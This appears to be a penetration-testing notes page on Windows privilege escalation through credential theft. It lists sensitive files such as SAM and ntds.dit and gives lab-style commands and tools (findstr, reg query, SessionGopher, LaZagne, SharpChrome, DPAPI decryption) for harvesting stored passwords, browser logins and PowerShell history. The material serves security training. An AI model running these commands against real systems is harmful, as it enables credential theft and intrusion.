> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/credential-theft-+-sensitive-files.md). # Credential Theft + Sensitive Files We may find a virtual hard drive that we can mount and extract local administrator password hashes from, an SSH private key that can be used to access other systems, or instances of users storing passwords in Excel/Word Documents, OneNote workbooks, or even the classic `passwords.txt` file You can use the following search tools and commands to discover sensitive files such as the following:
Sensitive Windows Files * c:\inetpub\wwwwroot\web.config * %WINDIR%\repair\sam * %WINDIR%\repair\system * %WINDIR%\repair\software, %WINDIR%\repair\security * %WINDIR%\system32\config\SecEvent.Evt * %WINDIR%\system32\config\default.sav * %WINDIR%\system32\config\security.sav * %WINDIR%\system32\config\software.sav * %WINDIR%\system32\config\system.sav * \*.kdbx // KeePass database files * Application Configuration Files * Dictionary Files * Unattended Installation Files * PowerShell History * `.kdbx`, `.vmdk`, `.vdhx`, `.ppk` * %WINDIR%\system32\CCM\logs\*.log * %USERPROFILE%\ntuser.dat * %USERPROFILE%\LocalS~~1\Tempor~~1\Content.IE5\index.dat * %WINDIR%\System32\drivers\etc\hosts * C:\ProgramData\Configs\* * C:\Program Files\Windows PowerShell\* * C:\Windows\NTDS\ntds.dit (Found on a DC, contains the NTLM hashes for all user and computer objects in the domain.)
{% hint style="warning" %} This is by no means a comprehensive list, but I hope this helps! {% endhint %} ## Search Tools ### cmdkey The [cmdkey](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey) command can be used to create, list, and delete stored usernames and passwords. Users may wish to store credentials for a specific host or use it to store credentials for terminal services connections to connect to a remote host using Remote Desktop without needing to enter a password ```powershell C:\htb> cmdkey /list Target: LegacyGeneric:target=TERMSRV/SQL01 Type: Generic User: inlanefreight\bob ``` ### Sticky Notes Often users will store passwords in Sticky Notes which will, under the hood, get stored in a plum.sqlite database file. We can process this database file using this [PSSQLite tool](https://github.com/RamblingCookieMonster/PSSQLite). ```powershell import-module pssqlite.psd1 $db = path/to/plum.sqlite invoke-sqlitequery -database $db -query "select * from notes" | ft wrap ``` ### Snaffler For discovering sensitive information on Windows AD file shares. Spiders Windows stations on AD and their respective connected file shares, enumerating with Learned Artifactual Intelligence for Machines. ```powershell C:\Users\cainsmith> .\snaffler.exe -o snaffler.log -m C:\Users\cainsmith\Desktop -i C:\ ``` This writes the results to `snaffler.log` and scans the local drive from `C:\`. ### Get-ChildItem ```powershell PS C:\htb> Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore Directory: C:\inetpub\wwwroot Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 5/25/2021 9:59 AM 329 web.config ``` ### Where ```cmd-session C:\htb> where /R C:\ *.config c:\inetpub\wwwroot\web.config ``` ### Dir ``` cd dir /s dir | findstr dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* ``` ### Select-String ```powershell-session PS C:\htb> select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password stuff.txt:1:password: l#-x9r11_2_GL! ``` ### wevtutil You should also see the [Event Log Readers](/breakpoint/windows/windows-privilege-escalation/accounts-and-and-groups-in-depth/event-log-readers.md) post on how to utilize the `wevtutil` to query application logs. ### findstr The [findstr](https://ss64.com/nt/findstr.html) utility is your best friend in discovering text in files or basically grepping the output of other commands. 
## Finding text, XML, or config files with "password"
PS C:\htb> findstr /SIM /C: "password" *.txt *.ini *.cfg *.config *.xml
### reg query If a box is utilizing Windows AutoLogon or perhaps storing credentials and sessions from PuTTY, you might be able to discover plaintext or encrypted credentials in the Registry. ```powershell-session reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions ```
## SessionGopher > SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools. It has WMI functionality built in so it can be run remotely. Its best use case is to identify systems that may connect to Unix systems, jump boxes, or point-of-sale terminals. > > SessionGopher works by querying the `HKEY_USERS` hive for all users who have logged onto a domain-joined box at some point. It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. It automatically extracts and decrypts WinSCP, FileZilla, and SuperPuTTY saved passwords. When run in Thorough mode, it also searches all drives for PuTTY private key files (.ppk) and extracts all relevant private key information, including the key itself, as well as for Remote Desktop (.rdp) and RSA (.sdtid) files. ```powershell PS C:\htb> Import-Module .\SessionGopher.ps1 PS C:\Tools> Invoke-SessionGopher -Target WINLPE-SRV01 ``` ## LaZagne > The **LaZagne project** is an open source application used to **retrieve lots of passwords** stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software. * * [ https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.7/LaZagne.exe](< https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.7/LaZagne.exe>) {% code title="Running lazagne with all modules" %} ```bat htb> .\lazagne.exe all ``` {% endcode %} ## MailSniper ## SharpChrome / SharpDPAPI Users often store credentials in their browsers for applications that they frequently visit. We can use a tool such as [SharpChrome](https://github.com/GhostPack/SharpDPAPI) to retrieve cookies and saved logins from Google Chrome. See example usages here in [SpectreOps post](https://docs.specterops.io/ghostpack-docs/SharpDPAPI-mdx/sharpchrome-overview). > Note: Credential collection from Chromium-based browsers typically generates additional events that could be logged and identified by the blue team such as `4688` (process creation) and `16385` (DPAPI activity); defenders may also consider filesystem/object access events such as `4662` (object access) and `4663` (file access) to improve detection fidelity. ```bat # Decrypt current user's Chrome logins SharpChrome.exe logins # Target Edge browser SharpChrome.exe logins /browser:edge # Use domain backup key for any user SharpChrome.exe logins /pvk:key.pvk # Remote system triage SharpChrome.exe logins /server:workstation.domain.com /pvk:key.pvk ```
## Windows AutoLogon Windows [Autologon](https://learn.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/turn-on-automatic-logon) is a feature that allows a user to configure their Windows operating system to automatically log on to a specific user account, without requiring manual input of the username and password at each startup. However, once this is configured, the username and password are stored in the registry, in clear-text. This feature is commonly used on single-user systems or in situations where convenience outweighs the need for enhanced security. ```cmd HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ``` * `AdminAutoLogon` - Determines whether Autologon is enabled or disabled. A value of "1" means it is enabled. * `DefaultUserName` - Holds the value of the username of the account that will automatically log on. * `DefaultPassword` - Holds the value of the password for the user account specified previously. > `Note:` If you absolutely must configure Autologon for your windows system, it is recommended to use Autologon.exe from the Sysinternals suite, which will encrypt the password as an LSA secret. ## Dictionary Files Google Chrome dictionary files are the files Chrome uses to store words for **spell-checking**. They allow Chrome to underline misspelled words and provide suggestions. There are actually two types of dictionary files involved: the built-in dictionaries that come with Chrome, and the custom dictionaries where user-added words are stored. {% code title="Google Chrome search" %} ``` ## PS C:\htb> gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password ``` {% endcode %} ## Unattended Installations Installation files may include AutoLogon credentials or other noteworthy information. ```xml local_4dmin_p@ss true</PlainText> </Password> <Enabled>true</Enabled> <LogonCount>2</LogonCount> <Username>Administrator</Username> </AutoLogon> <ComputerName>*</ComputerName> </component> </settings> ``` ## PowerShell History The commandline history of a given user may also give away credentials they've previously typed in for other commands {% code title="Querying PowerShell History Files" %} ```powershell # Find the path to the PS history file PS C:\htb> (Get-PSReadLineOption).HistorySavePath C:\Users\jane\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt # Read the file PS C:\htb> type C:\Users\jane\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt # One-liner to query all available histories PS C:\htb> foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue} ``` {% endcode %} ## PowerShell Credentials PowerShell credentials are often used for scripting and automation tasks as a way to store encrypted credentials conveniently. The credentials are protected using [DPAPI](https://en.wikipedia.org/wiki/Data_Protection_API), which typically means they can only be decrypted by the same user on the same computer they were created on. {% code title="Connect-VC.ps1 - a sample PS script to connect to VSphere" %} ```powershell # Get-Credential | Export-Clixml -Path 'C:\scripts\pass.xml' $encryptedPassword = Import-Clixml -Path 'C:\scripts\pass.xml' $decryptedPassword = $encryptedPassword.GetNetworkCredential().Password Connect-VIServer -Server 'VC-01' -User 'bob_adm' -Password $decryptedPassword ``` {% endcode %} {% code title="Cracking the Connect-VC.ps1 credentials" %} ```powershell PS C:\htb> $credential = Import-Clixml -Path 'C:\scripts\pass.xml' PS C:\htb> $credential.GetNetworkCredential().username bob PS C:\htb> $credential.GetNetworkCredential().password Str0ng3ncryptedP@ss! ``` {% endcode %}